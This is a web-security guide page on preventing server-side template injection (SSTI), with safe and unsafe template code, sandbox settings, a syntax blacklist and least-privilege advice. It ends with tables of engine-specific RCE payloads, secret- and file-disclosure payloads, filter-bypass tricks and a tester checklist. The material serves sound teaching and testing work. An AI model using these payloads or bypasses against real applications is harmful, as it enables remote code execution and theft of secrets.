jan-karel.com
Home / Security Measures / Web Security / SSTI Prevention

SSTI Prevention

SSTI Prevention

SSTI Prevention

Code With Boundaries, Production With Confidence

Web risk is rarely mysterious. It usually lies in predictable mistakes that persist under time pressure.

With SSTI Prevention, the greatest gains come from secure defaults that are automatically enforced in every release.

This makes security less of a separate afterthought check and more of a standard quality of your product.

Immediate measures (15 minutes)

Why this matters

The core of SSTI Prevention is risk reduction in practice. Technical context supports the choice of measures, but implementation and assurance are central.

Defense: protecting the printing plates

The defense against SSTI is conceptually simple but organizationally complex. It requires that developers understand how template engines work -- not just the syntax, but the semantics, the evaluation order, and the implications of every design choice.

Rule 1: Never put user input in templates

The fundamental rule. User input belongs in variables, not in template strings:

# WRONG:
render_template_string(f"Hallo {user_input}!")

# CORRECT:
render_template_string("Hallo {{ name }}!", name=user_input)
// WRONG:
$twig->createTemplate("Hallo " . $userInput . "!")->render();

// CORRECT:
$twig->render('greeting.html', ['name' => $userInput]);
// WRONG:
Template t = cfg.getTemplate(new StringReader("Hallo " + userInput + "!"));

// CORRECT:
Template t = cfg.getTemplate("greeting.ftl");
Map<String, Object> data = new HashMap<>();
data.put("name", userInput);
t.process(data, out);

The pattern is consistent across all languages: separation of template and data. The template is code -- trusted, written by the developer, static. The data is variable -- untrusted, supplied by the user, dynamic. The two must never be mixed.

Rule 2: Use logic-less templates where possible

Logic-less template engines -- such as Mustache and Handlebars -- intentionally limit what you can do in a template. No loops, no conditionals, no expression evaluation. Only variable substitution.

{{! Handlebars: substitution only, no evaluation }}
<p>Hello, {{name}}!</p>
<p>You have {{count}} messages.</p>

The lack of functionality is the security advantage. If the template engine cannot evaluate expressions, an attacker cannot inject expressions. It is security through restriction, and it works better than security through complexity.

The trade-off is that you need to write more logic in the application code instead of in templates. But that is where logic belongs anyway. Templates are for presentation, not for logic. If you write if statements in your templates, you are writing a program, not a template.

Rule 3: Sandbox configuration

If you need a full-featured template engine, configure the sandbox:

Jinja2:

from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
# Optional: additional restrictions
env.globals = {}      # No global functions
env.filters = {}      # No filters (extreme, but safe)

Twig:

$policy = new Twig\Sandbox\SecurityPolicy(
    ['if', 'for', 'set'],           // Tags
    ['escape', 'upper', 'lower'],   // Filters
    [],                              // Methods: EMPTY
    [],                              // Properties: EMPTY
    ['range', 'cycle']               // Functions
);
$sandbox = new Twig\Extension\SandboxExtension($policy, true); // true = global
$twig->addExtension($sandbox);

Freemarker:

Configuration cfg = new Configuration(Configuration.VERSION_2_3_32);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);
cfg.setAPIBuiltinEnabled(false);

Rule 4: Input validation

If for some reason you must process user input in templates (and ask yourself three times whether that is really necessary), validate the input strictly:

import re

def sanitize_template_input(value):
    # Strip EVERYTHING that resembles template syntax
    dangerous_patterns = [
        r'\{\{',    # Jinja2/Twig/Handlebars
        r'\}\}',
        r'\$\{',    # Freemarker/EL
        r'<%',      # ERB/EJS
        r'%>',
        r'#\{',     # Pug/Ruby
        r'\{%',     # Jinja2/Twig blocks
        r'%\}',
    ]
    for pattern in dangerous_patterns:
        if re.search(pattern, value):
            raise ValueError(f"Invalid input: template syntax detected")
    return value

This is a blacklist approach and therefore inherently incomplete. But it is an additional layer on top of the other measures. Defense in depth.

Rule 5: Content Security Policy

A CSP header can limit the impact of SSTI by preventing injected JavaScript from being executed (if the SSTI output ends up in HTML):

Content-Security-Policy: default-src 'self'; script-src 'self'

This does not prevent server-side code execution, but it limits what an attacker can do on the client side with the output of a successful SSTI.

Rule 6: Least privilege

The web application process should run with minimal privileges:

# Run the application as an unprivileged user:
sudo -u www-data python app.py

# In Docker:
USER nobody

# SELinux/AppArmor profiles that restrict file access

If an attacker achieves RCE via SSTI, the privileges of the process are the ceiling of what they can do. A process running as root gives the attacker the entire system. A process running as nobody gives the attacker almost nothing.

The uncomfortable truth

And now the moment where we need to be honest about the state of affairs. The moment where the cynical voice takes over from the curious scientist.

We let users write code in our templates.

Read that sentence again. We build systems that evaluate template syntax, we put user input in there, and we are surprised when someone abuses that evaluation. It is like giving a stranger the keys to your car and then being surprised that they drive off.

The tools to prevent SSTI have existed for years. render_template_string with variables instead of f-strings is not rocket science. Sandboxed environments are documented. Logic-less templates exist. And yet, in 2026, security researchers are still publishing CVEs for SSTI in production applications used by millions of people.

The problem is not technical. The solutions exist. The problem is cultural. Developers choose the quick route -- an f-string is two keystrokes shorter than an extra parameter in render_template_string. Code reviewers miss the difference because they do not know how template engines work. Testers do not test for SSTI because it is not on their checklist. And managers say "it works, doesn't it?" until the moment it no longer works.

SSTI is not an advanced attack. It is not a zero-day. It is not a state-sponsored APT. It is an ordinary bug that stems from an ordinary lack of attention. And that actually makes it worse than all those exotic attacks the security industry loves to talk about. Because you cannot prevent a zero-day. You can prevent SSTI by thinking five minutes longer before you commit. But those five minutes are apparently too much to ask.

The template engine is a printing press. Gutenberg understood that the power of the printing press lay in the fact that the printer decided what was printed. Not the reader. Not the passerby. The printer. In the five hundred years since Gutenberg, we have managed to forget that principle and hand control of the printing plates to random internet users.

Gutenberg would understand. But he would not approve.

Reference table

Engine Language Detection RCE Payload
Jinja2 Python {{7*7}}=49, {{7*'7'}}='7777777' {{cycler.__init__.__globals__.os.popen('id').read()}}
Twig PHP {{7*7}}=49, {{7*'7'}}=49 {{[0]\|reduce('system','id')}}
Freemarker Java ${7*7}=49, ${"test"}='test' ${"freemarker.template.utility.Execute"?new()("id")}
Pug Node.js #{7*7}=49 #{global.process.mainModule.require('child_process').execSync('id')}
ERB Ruby <%= 7*7 %>=49 <%= system('id') %>
Smarty PHP {7*7}=49 {system('id')}
Velocity Java $class.inspect("java.lang.Runtime") Via reflection chain
Thymeleaf Java *{7*7}=49, ${7*7}=49 ${T(java.lang.Runtime).getRuntime().exec('id')}

Info disclosure payloads

Engine Payload Result
Jinja2 {{config\|pprint}} Flask configuration incl. SECRET_KEY
Jinja2 {{request.environ}} Request environment variables
Twig {{dump(app)}} Symfony application object
Twig {{'/etc/passwd'\|file_excerpt(1,30)}} File contents
Freemarker ${.version} Freemarker version
Freemarker ${.data_model} Available template variables

Filter hardening and limiting bypass

Technique Example Works for
attr() filter ""\|attr("__class__") Jinja2 __ filter bypass
String concatenation {% set x = "__cla" ~ "ss__" %} Jinja2 keyword filter bypass
Variable assignment {% set cls = "__class__" %} Jinja2 direct syntax filter
Callback via reduce {{[0]\|reduce('system','id')}} Twig function call restriction
Callback via sort {{['id']\|sort('passthru')}} Twig function call restriction
?new() built-in ${"...Execute"?new()("id")} Freemarker class instantiation

Checklist for testers

  1. Identify template injection points: Test all input fields, URL parameters, headers, and form fields with {{7*7}}, ${7*7}, <%= 7*7 %>, and #{7*7}.

  2. Identify the engine: Use the decision tree with type coercion ({{7*'7'}}). Also check error messages for engine name and version.

  3. Info disclosure first: Try {{config|pprint}} (Jinja2), {{dump(app)}} (Twig), ${.version} (Freemarker) for valuable information without RCE.

  4. Attempt RCE: Use the engine-specific payloads from the reference table. Start with the simplest payload and escalate.

  5. Test sandbox: If the first payload does not work, try filter bypass techniques: attr(), string concatenation, alternative routes.

  6. Demonstrate impact (defensive): demonstrate with safe validation steps that unwanted template evaluation is possible, without command execution or shell-like payloads.

  7. Document the chain: Describe the detection, the engine identification, the payload, and the result step by step.

In 1440, Gutenberg trusted that only he and his colleagues would touch the printing plates. In 2026, we trust that users will not type curly braces. History teaches us that trust is not a security measure.

Op de hoogte blijven?

Ontvang maandelijks cybersecurity-inzichten in je inbox.

← Web Security ← Home